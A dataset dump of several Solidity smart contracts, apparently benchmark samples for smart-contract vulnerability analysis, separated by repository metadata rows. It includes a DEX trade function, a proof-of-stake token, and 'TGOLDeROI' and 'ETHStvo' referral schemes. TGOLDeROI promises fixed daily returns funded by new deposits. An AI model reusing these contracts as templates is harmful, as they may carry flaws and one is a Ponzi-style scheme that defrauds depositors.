bytes32 orderHash2 = keccak256(abi.encode(ORDER_PAYMENT_TYPEHASH, addresses[3], amounts[4], addresses[2], amounts[5], addresses[4], amounts[6], amounts[7]));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, orderHash2)), uint8(values[1]), rs[2], rs[3]) == addresses[1]);
uint256 makerRate = calculateRate(amounts[0], amounts[1]);
uint256 takerRate = calculateRate(amounts[5], amounts[4]);
require(makerRate <= takerRate);
require(makerRate == calculateRate(amounts[8], amounts[9]));
orderPaymentFills[orderHash2] = safeAdd(orderPaymentFills[orderHash2], amounts[9]);
require(orderPaymentFills[orderHash2] <= amounts[4]);
require(reduceBalance(addresses[0], addresses[2], amounts[8]));
require(reduceBalance(addresses[1], addresses[3], amounts[9]));
require(increaseBalanceOrWithdraw(addresses[0], addresses[3], amounts[9], values[2]));
require(increaseBalanceOrWithdraw(addresses[4], addresses[2], amounts[8], values[3]));
emit OrderPayment(addresses[1], addresses[1], amounts[9], addresses[4], addresses[2], amounts[2]);
}
function tradeWithTips(uint256[10] amounts,
address[4] addresses,
uint256[10] values,
bytes32[4] rs) external onlyAdmin {
require(tradesLocked[addresses[0]] < block.number);
require(block.timestamp <= amounts[2]);
bytes32 orderHash = values[4] > 0 || values[5] > 0
? keccak256(abi.encode(ORDER_WITH_TIPS_TYPEHASH, addresses[2], amounts[0], addresses[3], amounts[1], values[2], amounts[2], amounts[3], values[4], values[5]))
: keccak256(abi.encode(ORDER_TYPEHASH, addresses[2], amounts[0], addresses[3], amounts[1], values[2], amounts[2], amounts[3]));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, orderHash)), uint8(values[0]), rs[0], rs[1]) == addresses[0]);
orderFills[orderHash] = safeAdd(orderFills[orderHash], amounts[8]);
require(orderFills[orderHash] <= amounts[0]);
require(tradesLocked[addresses[1]] < block.number);
require(block.timestamp <= amounts[6]);
bytes32 orderHash2 = values[6] > 0 || values[7] > 0
? keccak256(abi.encode(ORDER_WITH_TIPS_TYPEHASH, addresses[3], amounts[4], addresses[2], amounts[5], values[3], amounts[6], amounts[7], values[6], values[7]))
: keccak256(abi.encode(ORDER_TYPEHASH, addresses[3], amounts[4], addresses[2], amounts[5], values[3], amounts[6], amounts[7]));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, orderHash2)), uint8(values[1]), rs[2], rs[3]) == addresses[1]);
uint256 makerRate = calculateRate(amounts[0], amounts[1]);
uint256 takerRate = calculateRate(amounts[5], amounts[4]);
require(makerRate <= takerRate);
require(makerRate == calculateRate(amounts[8], amounts[9]));
orderFills[orderHash2] = safeAdd(orderFills[orderHash2], amounts[9]);
require(orderFills[orderHash2] <= amounts[4]);
require(reduceBalance(addresses[0], addresses[2], amounts[8]));
require(reduceBalance(addresses[1], addresses[3], amounts[9]));
if (values[4] > 0 && !isUserMakerFeeEnabled(addresses[0], values[8])) {
increaseBalanceOrWithdraw(addresses[0], addresses[3], safeSub(amounts[9], safeDiv(amounts[9], values[4])), values[2]);
increaseBalance(feeAddress, addresses[3], safeDiv(amounts[9], values[4]));
} else if (values[4] == 0 && isUserMakerFeeEnabled(addresses[0], values[8])) {
increaseBalanceOrWithdraw(addresses[0], addresses[3], safeSub(amounts[9], safeDiv(amounts[9], makerFeeRate)), values[2]);
increaseBalance(feeAddress, addresses[3], safeDiv(amounts[9], makerFeeRate));
} else if (values[4] > 0 && isUserMakerFeeEnabled(addresses[0], values[8])) {
increaseBalanceOrWithdraw(addresses[0], addresses[3], safeSub(amounts[9], safeAdd(safeDiv(amounts[9], values[4]), safeDiv(amounts[9], makerFeeRate))), values[2]);
increaseBalance(feeAddress, addresses[3], safeAdd(safeDiv(amounts[9], values[4]), safeDiv(amounts[9], makerFeeRate)));
} else {
increaseBalanceOrWithdraw(addresses[0], addresses[3], amounts[9], values[2]);
}
if (values[7] > 0 && !isUserTakerFeeEnabled(addresses[1], values[9])) {
increaseBalanceOrWithdraw(addresses[1], addresses[2], safeSub(amounts[8], safeDiv(amounts[8], values[7])), values[3]);
increaseBalance(feeAddress, addresses[2], safeDiv(amounts[8], values[7]));
} else if (values[7] == 0 && isUserTakerFeeEnabled(addresses[1], values[9])) {
increaseBalanceOrWithdraw(addresses[1], addresses[2], safeSub(amounts[8], safeDiv(amounts[8], takerFeeRate)), values[3]);
increaseBalance(feeAddress, addresses[2], safeDiv(amounts[8], takerFeeRate));
} else if (values[7] > 0 && isUserTakerFeeEnabled(addresses[1], values[9])) {
increaseBalanceOrWithdraw(addresses[1], addresses[2], safeSub(amounts[8], safeAdd(safeDiv(amounts[8], values[7]), safeDiv(amounts[8], takerFeeRate))), values[3]);
increaseBalance(feeAddress, addresses[2], safeAdd(safeDiv(amounts[8], values[7]), safeDiv(amounts[8], takerFeeRate)));
} else {
increaseBalanceOrWithdraw(addresses[1], addresses[2], amounts[8], values[3]);
}
}
function() public payable {
revert();
}
function safeMul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function safeDiv(uint a, uint b) internal pure returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeTransfer(address token,
address to,
uint256 value)
private
returns (bool success)
{
success = token.call(0xa9059cbb, to, value);
return checkReturnValue(success);
}
function safeTransferFrom(address token,
address from,
address to,
uint256 value)
private
returns (bool success)
{
success = token.call(0x23b872dd, from, to, value);
return checkReturnValue(success);
}
function checkReturnValue(bool success)
private
pure
returns (bool)
{
if (success) {
assembly {
switch returndatasize()
case 0 {
success := 1
}
case 32 {
returndatacopy(0, 0, 32)
success := mload(0)
}
default {
success := 0
}
}
}
return success;
}
}
| 163,102 | 130 |
51bd4fa5f569471b8e24c2e9e80483ccb131fd61ca459a8ed0c1f9bb490cd462
| 13,856 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x63c9fa54101e5c4609656ed09b483338432c3c94.sol
| 3,788 | 12,283 |
pragma solidity ^ 0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
function balanceOf(address _owner) public constant returns(uint256);
function transfer(address _to, uint256 _value) public returns(bool);
function transferFrom(address _from, address _to, uint256 _value) public returns(bool);
function approve(address _spender, uint256 _value) public returns(bool);
function allowance(address _owner, address _spender) public constant returns(uint256);
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract WbcToken is ERC20 {
using SafeMath for uint256;
string public name = "WhizBizCoin";
string public symbol = "WB";
uint256 public decimals = 18;
uint256 public totalSupply = 888000000 * 1e18;
uint256 public timeStamp = 0;
uint256 constant fundPartYear = 44400000 * 1e18;
uint256 constant trioPartYear = 8880000 * 1e18; //1% of tokens for CrowdSale, Film Comany and Investors in one year for 6 years
uint256 constant minimumAge = 30 days; // minimum age for coins
uint256 constant oneYear = 360 days;
uint256 public minted = 0;
address public teamCSN;
address public teamFilmCompany;
address public teamInvestors;
address public teamFund;
address public manager;
address public reserveFund;
struct transferStruct{
uint128 amount;
uint64 time;
}
mapping(uint8 => bool) trioChecker;
mapping(uint8 => bool) fundChecker;
mapping(uint256 => bool) priceChecker;
mapping(address => transferStruct[]) transferSt;
mapping(uint256 => uint256) coinPriceNow;
// Ico contract address
address public owner;
// Allows execution by the owner only
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyManager {
require(msg.sender == manager);
_;
}
constructor (address _owner, address _teamCSN, address _teamFilmCompany, address _teamInvestors, address _fund, address _manager, address _reserveFund) public {
owner = _owner;
teamCSN = _teamCSN;
teamFilmCompany = _teamFilmCompany;
teamInvestors = _teamInvestors;
teamFund = _fund;
manager = _manager;
reserveFund = _reserveFund;
}
function doTimeStamp(uint256 _value) external onlyOwner {
timeStamp = _value;
}
function mintTokens(address _investor, uint256 _value) external onlyOwner {
require(_value > 0);
require(minted.add(_value) <= totalSupply);
balances[_investor] = balances[_investor].add(_value);
minted = minted.add(_value);
transferSt[_investor].push(transferStruct(uint128(_value),uint64(now)));
emit Transfer(0x0, _investor, _value);
}
function mintTrio() external onlyManager {
require(now > (timeStamp + 360 days));
if(now > (timeStamp + 360 days) && now <= (timeStamp + 720 days)){
require(trioChecker[1] != true);
partingTrio(1);
}
if(now > (timeStamp + 720 days) && now <= (timeStamp + 1080 days)){
require(trioChecker[2] != true);
partingTrio(2);
}
if(now > (timeStamp + 1080 days) && now <= (timeStamp + 1440 days)){
require(trioChecker[3] != true);
partingTrio(3);
}
if(now > (timeStamp + 1440 days) && now <= (timeStamp + 1800 days)){
require(trioChecker[4] != true);
partingTrio(4);
}
if(now > (timeStamp + 1800 days) && now <= (timeStamp + 2160 days)){
require(trioChecker[5] != true);
partingTrio(5);
}
if(now > (timeStamp + 2160 days) && now <= (timeStamp + 2520 days)){
require(trioChecker[6] != true);
partingTrio(6);
}
}
function mintFund() external onlyManager {
require(now > (timeStamp + 360 days));
if(now > (timeStamp + 360 days) && now <= (timeStamp + 720 days)){
require(fundChecker[1] != true);
partingFund(1);
}
if(now > (timeStamp + 720 days) && now <= (timeStamp + 1080 days)){
require(fundChecker[2] != true);
partingFund(2);
}
if(now > (timeStamp + 1080 days) && now <= (timeStamp + 1440 days)){
require(fundChecker[3] != true);
partingFund(3);
}
if(now > (timeStamp + 1440 days) && now <= (timeStamp + 1800 days)){
require(fundChecker[4] != true);
partingFund(4);
}
if(now > (timeStamp + 1800 days) && now <= (timeStamp + 2160 days)){
require(fundChecker[5] != true);
partingFund(5);
}
if(now > (timeStamp + 2160 days) && now <= (timeStamp + 2520 days)){
require(fundChecker[6] != true);
partingFund(6);
}
if(now > (timeStamp + 2520 days) && now <= (timeStamp + 2880 days)){
require(fundChecker[7] != true);
partingFund(7);
}
}
function partingFund(uint8 _x) internal {
require(_x > 0 && _x <= 7);
balances[teamFund] = balances[teamFund].add(fundPartYear);
fundChecker[_x] = true;
minted = minted.add(fundPartYear);
transferSt[teamFund].push(transferStruct(uint128(fundPartYear),uint64(now)));
emit Transfer(0x0, teamFund, fundPartYear);
}
function partingTrio(uint8 _x) internal {
require(_x > 0 && _x <= 6);
balances[teamCSN] = balances[teamCSN].add(trioPartYear);
balances[teamFilmCompany] = balances[teamFilmCompany].add(trioPartYear);
balances[teamInvestors] = balances[teamInvestors].add(trioPartYear);
trioChecker[_x] = true;
minted = minted.add(trioPartYear.mul(3));
transferSt[teamCSN].push(transferStruct(uint128(trioPartYear),uint64(now)));
transferSt[teamFilmCompany].push(transferStruct(uint128(trioPartYear),uint64(now)));
transferSt[teamInvestors].push(transferStruct(uint128(trioPartYear),uint64(now)));
emit Transfer(0x0, teamCSN, trioPartYear);
emit Transfer(0x0, teamFilmCompany, trioPartYear);
emit Transfer(0x0, teamInvestors, trioPartYear);
}
function balanceOf(address _owner) public constant returns(uint256) {
return balances[_owner];
}
function transfer(address _to, uint256 _amount) public returns(bool) {
if(msg.sender == _to) {return POSMint();}
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
if(transferSt[msg.sender].length > 0) {delete transferSt[msg.sender];}
uint64 _now = uint64(now);
transferSt[msg.sender].push(transferStruct(uint128(balances[msg.sender]),_now));
transferSt[_to].push(transferStruct(uint128(_amount),_now));
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) public returns(bool) {
require(_amount <= allowed[_from][msg.sender]);
require(_amount <= balances[_from]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
if(transferSt[_from].length > 0) {delete transferSt[_from];}
uint64 _now = uint64(now);
transferSt[_from].push(transferStruct(uint128(balances[_from]),_now));
transferSt[_to].push(transferStruct(uint128(_amount),_now));
return true;
}
function POSMint() internal returns (bool) {
require(now > (timeStamp + minimumAge));
if(balances[msg.sender] <= 0) {return false;}
if(transferSt[msg.sender].length <= 0) {return false;}
uint256 _now = now;
uint256 _year = getYear();
uint256 _phase = getPhase(_year);
uint256 _coinsAmount = getCoinsAmount(msg.sender, _now);
if(_coinsAmount <= 0) {return false;}
uint256 _coinsPrice = getCoinPrice(_year, _phase);
if(_coinsPrice <= 0) {return false;}
uint256 reward = (_coinsAmount.mul(_coinsPrice)).div(100000);
if(reward <= 0) {return false;}
if(reward > 0) {require(minted.add(reward) <= totalSupply);}
minted = minted.add(reward);
balances[msg.sender] = balances[msg.sender].add(reward);
delete transferSt[msg.sender];
transferSt[msg.sender].push(transferStruct(uint128(balances[msg.sender]),uint64(now)));
emit Transfer(0x0, msg.sender, reward);
return true;
}
function getCoinsAmount(address _address, uint _now) internal view returns (uint256) {
if(transferSt[_address].length <= 0) {return 0;}
uint256 Coins = 0;
for (uint256 i = 0; i < transferSt[_address].length; i++){
if(_now < uint(transferSt[_address][i].time).add(minimumAge)) {return Coins;}
Coins = Coins.add(uint256(transferSt[_address][i].amount));
}
return Coins;
}
function getYear() internal view returns (uint256) {
require(timeStamp > 0);
for(uint256 i = 0; i <= 99; i++) {
if(now >= ((timeStamp + minimumAge).add((i.mul(oneYear)))) && now < ((timeStamp + minimumAge).add(((i+1).mul(oneYear))))) {
return (i); // how many years gone
}
}
if(now >= ((timeStamp + minimumAge).add((oneYear.mul(100))))) {return (100);}
}
function getPhase(uint256 _x) internal pure returns (uint256) {
require(_x >= 0);
if(_x >= 0 && _x < 3) {return 1;}
if(_x >= 3 && _x < 6) {return 2;}
if(_x >= 6 && _x < 9) {return 3;}
if(_x >= 9 && _x < 12) {return 4;}
if(_x >= 12) {return 5;} // last phase which include 18*3 years
}
function getMonthLimit(uint256 _x) internal pure returns (uint256) {
require(_x > 0 && _x <=5);
if(_x == 1) {return (2220000 * 1e18);} //limit in month in this phase for all
if(_x == 2) {return (1480000 * 1e18);}
if(_x == 3) {return (740000 * 1e18);}
if(_x == 4) {return (370000 * 1e18);}
if(_x == 5) {return (185000 * 1e18);}
}
function getCoinPrice(uint256 _year, uint256 _phase) internal returns (uint256) {
require(_year >= 0);
uint256 _monthLimit = getMonthLimit(_phase);
uint256 _sumToAdd = _year.mul(oneYear);
uint256 _monthInYear = _year.mul(12);
for(uint256 i = 0; i <= 11; i++) {
if(now >= (timeStamp + minimumAge).add(_sumToAdd).add(minimumAge.mul(i)) && now < (timeStamp + minimumAge).add(_sumToAdd).add(minimumAge.mul(i+1))) {
uint256 _num = _monthInYear.add(i);
if(priceChecker[_num] != true) {
coinPriceNow[_num] = minted;
priceChecker[_num] = true;
return (_monthLimit.mul(100000)).div(minted);}
if(priceChecker[_num] == true) {
return (_monthLimit.mul(100000)).div(coinPriceNow[_num]);}
}
}
}
function approve(address _spender, uint256 _amount) public returns(bool) {
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) public constant returns(uint256) {
return allowed[_owner][_spender];
}
}
| 204,676 | 131 |
355104eb9a38cf029d98af032d5551275d1f532a9834bbe0442f5bc0197d8a08
| 15,993 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TB/TBfUg2CQ437pSeFk8UkwLfEh5dff5t85CH_TGOLDeROI.sol
| 4,647 | 15,412 |
//SourceUnit: TGOLDeROI.sol
pragma solidity ^0.4.25;
contract TGOLDeROI {
using SafeMath for uint256;
uint256 public totalPlayers;
uint256 public totalPayout;
uint256 public minDepositSize = 10000000;//10000000
uint256 public interestRateDivisor = 1000000000000;//1000000000000
uint256 public marketingComission = 3;
uint256 public devCommission = 5;
uint256 public feedToTgolde = 5;
uint256 public commissionDivisor = 100;
uint256 public startTime = 1576713600; //11/28/2019 @ 5:00am (UTC)
uint256 public tgoldeDividend = 0;
address public owner;
address devAddress;
address marketingAddress;
address tgoldeAddress;
struct Player {
uint256 trxDeposit;
uint256 time;
uint256 interestProfit;
uint256 currLevel;
uint256 affInvestTotal;
uint256 affRewards;
address affFrom;
uint256 aff1sum; //3 level
uint256 aff2sum;
uint256 aff3sum;
}
//1.66%,1.76%,1.86%,1.96%,
//2.08%,2.18%,2.28%,2.38%,
//2.50%,2.60%,2.70%,2.80%,
//2.92%,3.12%,3.22%,3.32 %,
//3.5%
struct Level {
uint256 interest; // interest per seconds %
uint256 minInvestment; // investment requirement
}
struct InvestHistory{
address who;
address referral;
uint256 amount;
uint256 time;
}
struct WithdrawHistory{
address who;
uint256 amount;
uint256 time;
}
mapping(address => Player) public players;
mapping(uint256 => address) public indexToPlayer;
mapping(address => InvestHistory[]) private investHistorys;
mapping(address => WithdrawHistory[]) private withdrawHistorys;
mapping(uint256 => Level) private level_;
event Deposit(address who, uint256 amount, uint256 time);
event Withdraw(address who, uint256 amount, uint256 time);
constructor(address _tgoldeAddress) public {
level_[1] = Level(192130,0); //daily 1.66
level_[2] = Level(203703,2500000000); //daily 1.76
level_[3] = Level(215278,5000000000); //daily 1.86
level_[4] = Level(226852,7500000000); //daily 1.96
level_[5] = Level(240740,10000000000); //daily 2.08
level_[6] = Level(252315,30000000000); //daily 2.18
level_[7] = Level(263888,50000000000); //daily 2.28
level_[8] = Level(275463,70000000000); //daily 2.38
level_[9] = Level(289352,90000000000); //daily 2.50
level_[10] = Level(300927,180000000000); //daily 2.60
level_[11] = Level(312500,270000000000); //daily 2.70
level_[12] = Level(324073,360000000000); //daily 2.80
level_[13] = Level(337963,450000000000); //daily 2.92
level_[14] = Level(349512,600000000000); //daily 3.02
level_[15] = Level(361112,750000000000); //daily 3.12
level_[16] = Level(372685,900000000000); //daily 3.22
level_[17] = Level(405093,1200000000000); //daily 3.5
owner = msg.sender;
devAddress = msg.sender;
marketingAddress = msg.sender;
tgoldeAddress = _tgoldeAddress;
}
function calculateCurrLevel(address _addr) private{
uint256 totalInvestment = players[_addr].trxDeposit;
uint256 totalAmount = totalInvestment.add(players[_addr].affInvestTotal);
if(totalAmount < level_[2].minInvestment){
players[_addr].currLevel = 1;
}
else if(totalAmount < level_[3].minInvestment){
players[_addr].currLevel = 2;
}
else if(totalAmount < level_[4].minInvestment){
players[_addr].currLevel = 3;
}
else if(totalAmount < level_[5].minInvestment){
players[_addr].currLevel = 4;
}
else if(totalAmount < level_[6].minInvestment){
players[_addr].currLevel = 5;
}
else if(totalAmount < level_[7].minInvestment){
players[_addr].currLevel = 6;
}
else if(totalAmount < level_[8].minInvestment){
players[_addr].currLevel = 7;
}
else if(totalAmount < level_[9].minInvestment){
players[_addr].currLevel = 8;
}
else if(totalAmount < level_[10].minInvestment){
players[_addr].currLevel = 9;
}
else if(totalAmount < level_[11].minInvestment){
players[_addr].currLevel = 10;
}
else if(totalAmount < level_[12].minInvestment){
players[_addr].currLevel = 11;
}
else if(totalAmount < level_[13].minInvestment){
players[_addr].currLevel = 12;
}
else if(totalAmount < level_[14].minInvestment){
players[_addr].currLevel = 13;
}
else if(totalAmount < level_[15].minInvestment){
players[_addr].currLevel = 14;
}
else if(totalAmount < level_[16].minInvestment){
players[_addr].currLevel = 15;
}
else if(totalAmount < level_[17].minInvestment){
players[_addr].currLevel = 16;
}
else{
players[_addr].currLevel = 17;
}
}
function calculateReferral(address _addr, uint256 _value) private{
address _affAddr1 = players[_addr].affFrom;
address _affAddr2 = players[_affAddr1].affFrom;
address _affAddr3 = players[_affAddr2].affFrom;
players[_affAddr1].affInvestTotal = players[_affAddr1].affInvestTotal.add((_value.mul(4)).div(10));
calculateCurrLevel(_affAddr1);
players[_affAddr2].affInvestTotal = players[_affAddr2].affInvestTotal.add((_value.mul(2)).div(10));
calculateCurrLevel(_affAddr2);
players[_affAddr3].affInvestTotal = players[_affAddr3].affInvestTotal.add((_value.mul(1)).div(10));
calculateCurrLevel(_affAddr3);
}
function register(address _addr, address _affAddr) private{
Player storage player = players[_addr];
player.affFrom = _affAddr;
address _affAddr1 = _affAddr;
address _affAddr2 = players[_affAddr1].affFrom;
address _affAddr3 = players[_affAddr2].affFrom;
players[_affAddr1].aff1sum = players[_affAddr1].aff1sum.add(1);
players[_affAddr2].aff2sum = players[_affAddr2].aff2sum.add(1);
players[_affAddr3].aff3sum = players[_affAddr3].aff3sum.add(1);
indexToPlayer[totalPlayers] = _addr;
}
function () external payable {
}
function whiteList(address _affAddr) public{
Player storage player = players[msg.sender];
if (player.time == 0) {
player.time = now;
totalPlayers++;
if(_affAddr != address(0) && _affAddr != msg.sender){
register(msg.sender, _affAddr);
}
else{
register(msg.sender, owner);
}
}
}
function deposit(address _affAddr) public payable {
require(now >= startTime);
collect(msg.sender);
require(msg.value >= minDepositSize);
uint256 depositAmount = msg.value;
Player storage player = players[msg.sender];
player.trxDeposit = player.trxDeposit.add(depositAmount);
if (player.time == 0) {
player.time = now;
totalPlayers++;
if(_affAddr != address(0) && _affAddr != msg.sender){
register(msg.sender, _affAddr);
}
else{
register(msg.sender, owner);
}
}
calculateReferral(msg.sender, msg.value);
calculateCurrLevel(msg.sender);
distributeRef(msg.value, player.affFrom);
uint256 devEarn = depositAmount.mul(devCommission).div(commissionDivisor);
devAddress.transfer(devEarn);
uint256 marketingReserve = depositAmount.mul(marketingComission).div(commissionDivisor);
marketingAddress.transfer(marketingReserve);
uint256 tgoldeReserve = depositAmount.mul(feedToTgolde).div(commissionDivisor);
tgoldeAddress.transfer(tgoldeReserve);
tgoldeDividend = tgoldeDividend.add(tgoldeReserve);
investHistorys[msg.sender].push(InvestHistory(msg.sender,player.affFrom,depositAmount,now));
emit Deposit(msg.sender, depositAmount, now);
}
function withdraw() public {
collect(msg.sender);
require(players[msg.sender].interestProfit > 0);
transferPayout(msg.sender, players[msg.sender].interestProfit);
}
function reinvest() public {
collect(msg.sender);
Player storage player = players[msg.sender];
uint256 depositAmount = player.interestProfit;
require(depositAmount >= minDepositSize);
require(contractBalance() >= depositAmount);
player.interestProfit = 0;
player.trxDeposit = player.trxDeposit.add(depositAmount);
calculateCurrLevel(msg.sender);
distributeRef(depositAmount, player.affFrom);
uint256 devEarn = depositAmount.mul(devCommission).div(commissionDivisor);
devAddress.transfer(devEarn);
uint256 marketingReserve = depositAmount.mul(marketingComission).div(commissionDivisor);
marketingAddress.transfer(marketingReserve);
uint256 tgoldeReserve = depositAmount.mul(feedToTgolde).div(commissionDivisor);
tgoldeAddress.transfer(tgoldeReserve);
tgoldeDividend = tgoldeDividend.add(tgoldeReserve);
investHistorys[msg.sender].push(InvestHistory(msg.sender,player.affFrom,depositAmount,now));
}
function ownerZeroouttGoldeDividend() public {
require(msg.sender == owner);
tgoldeDividend = 0;
}
function whiteListMigration(address _addr, address _affAddr) public{
require(msg.sender == owner);
Player storage player = players[_addr];
if (player.time == 0) {
player.time = now;
totalPlayers++;
if(_affAddr != address(0) && _affAddr != _addr){
register(_addr, _affAddr);
}
else{
register(_addr, owner);
}
}
}
function collect(address _addr) internal {
Player storage player = players[_addr];
if(player.trxDeposit >0){
uint256 secondsPassed = now.sub(player.time);
if (secondsPassed > 0 && player.time > 0) {
uint256 collectProfit = (player.trxDeposit.mul(secondsPassed.mul(level_[player.currLevel].interest))).div(interestRateDivisor);
player.interestProfit = player.interestProfit.add(collectProfit);
player.time = player.time.add(secondsPassed);
}
}
else if(player.time > 0){
player.time = now;
}
}
function transferPayout(address _receiver, uint256 _amount) internal {
if (_amount > 0 && _receiver != address(0)) {
uint256 contractBalance = address(this).balance;
if (contractBalance > 0) {
uint256 payout = _amount > contractBalance ? contractBalance : _amount;
totalPayout = totalPayout.add(payout);
Player storage player = players[_receiver];
player.interestProfit = player.interestProfit.sub(payout);
msg.sender.transfer(payout);
withdrawHistorys[msg.sender].push(WithdrawHistory(msg.sender,payout,now));
emit Withdraw(_receiver,payout, now);
}
}
}
function distributeRef(uint256 _trx, address _affFrom) private{
uint256 _allaff = (_trx.mul(7)).div(100);
address _affAddr1 = _affFrom;
address _affAddr2 = players[_affAddr1].affFrom;
address _affAddr3 = players[_affAddr2].affFrom;
uint256 _affRewards = 0;
if (_affAddr1 != address(0)) {
_affRewards = (_trx.mul(4)).div(100);
_allaff = _allaff.sub(_affRewards);
players[_affAddr1].affRewards = _affRewards.add(players[_affAddr1].affRewards);
_affAddr1.transfer(_affRewards);
}
if (_affAddr2 != address(0)) {
_affRewards = (_trx.mul(2)).div(100);
_allaff = _allaff.sub(_affRewards);
players[_affAddr2].affRewards = _affRewards.add(players[_affAddr2].affRewards);
_affAddr2.transfer(_affRewards);
}
if (_affAddr3 != address(0)) {
_affRewards = (_trx.mul(1)).div(100);
_allaff = _allaff.sub(_affRewards);
players[_affAddr3].affRewards = _affRewards.add(players[_affAddr3].affRewards);
_affAddr3.transfer(_affRewards);
}
if(_allaff > 0){
owner.transfer(_allaff);
}
}
function getProfit(address _addr) public view returns (uint256,uint256) {
address playerAddress= _addr;
Player storage player = players[playerAddress];
require(player.time > 0);
uint256 secondsPassed = now.sub(player.time);
if (secondsPassed > 0) {
uint256 collectProfit = (player.trxDeposit.mul(secondsPassed.mul(level_[player.currLevel].interest))).div(interestRateDivisor);
}
return (collectProfit.add(player.interestProfit),now);
}
function contractBalance() public view returns (uint256){
return address(this).balance;
}
function getPlayer(address _addr) public view returns (uint256, uint256, uint256, uint256){
return (players[_addr].trxDeposit,players[_addr].time,players[_addr].currLevel,players[_addr].affInvestTotal);
}
function getInvestHistorys(address _addr) public view returns (address[] memory, address[] memory, uint256[] memory, uint256[] memory) {
uint256 size = investHistorys[_addr].length;
if(size > 256){
size = 256;
}
address[] memory addresses = new address[](size);
address[] memory affAddresses = new address[](size);
uint256[] memory amounts = new uint256[](size);
uint256[] memory times = new uint256[](size);
for (uint256 i = 0; i < size; i++) {
InvestHistory storage invest = investHistorys[_addr][i];
addresses[i] = invest.who;
affAddresses[i] = invest.referral;
amounts[i] = invest.amount;
times[i] = invest.time;
}
return
(addresses,
affAddresses,
amounts,
times);
}
function getWithdrawHistorys(address _addr) public view returns (address[] memory, uint256[] memory, uint256[] memory) {
uint256 size = withdrawHistorys[_addr].length;
if(size > 256){
size = 256;
}
address[] memory addresses = new address[](size);
uint256[] memory amounts = new uint256[](size);
uint256[] memory times = new uint256[](size);
for (uint256 i = 0; i < size; i++) {
WithdrawHistory storage withdrawRecord = withdrawHistorys[_addr][i];
addresses[i] = withdrawRecord.who;
amounts[i] = withdrawRecord.amount;
times[i] = withdrawRecord.time;
}
return
(addresses,
amounts,
times);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
| 284,515 | 132 |
cd156c955c7ae802d6454c45ac81860a23aa27c18d1d072d6dfce238c07fee26
| 18,054 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x1daddad71146cd1d9b6d487166789127f15fa757.sol
| 5,066 | 17,838 |
pragma solidity ^0.5.7;
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address owner;
address Main_address;
address public main_address;
address Upline_address;
address public upline_address;
mapping (address => bool) managers;
constructor() public {
owner = msg.sender;
main_address = msg.sender;
upline_address = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "Only for owner");
_;
}
function transferOwnership(address _owner) public onlyOwner {
owner = _owner;
}
}
contract ETHStvo is Ownable {
event Register(uint indexed _user, uint indexed _referrer, uint indexed _introducer, uint _time);
event Upgrade(uint indexed _user, uint _level, uint _price, uint _time);
event Payment(uint indexed _user, uint indexed _receiver, uint indexed _type, uint _level, uint _money, uint _time);
event Lost(uint indexed _user, uint indexed _receiver, uint indexed _type, uint _level, uint _money, uint _time);
mapping (uint => uint) public LEVEL_PRICE;
mapping (uint => uint) SPONSOR;
mapping (uint => uint) INTRODUCER;
mapping (uint => uint) UPLINE;
mapping (uint => uint) FEE;
uint REFERRAL_LIMIT = 3;
struct UserStruct {
bool manual;
bool isExist;
uint level;
uint introducedTotal;
uint referrerID;
uint introducerID;
address wallet;
uint[] introducers;
uint[] referrals;
}
mapping (uint => UserStruct) public users;
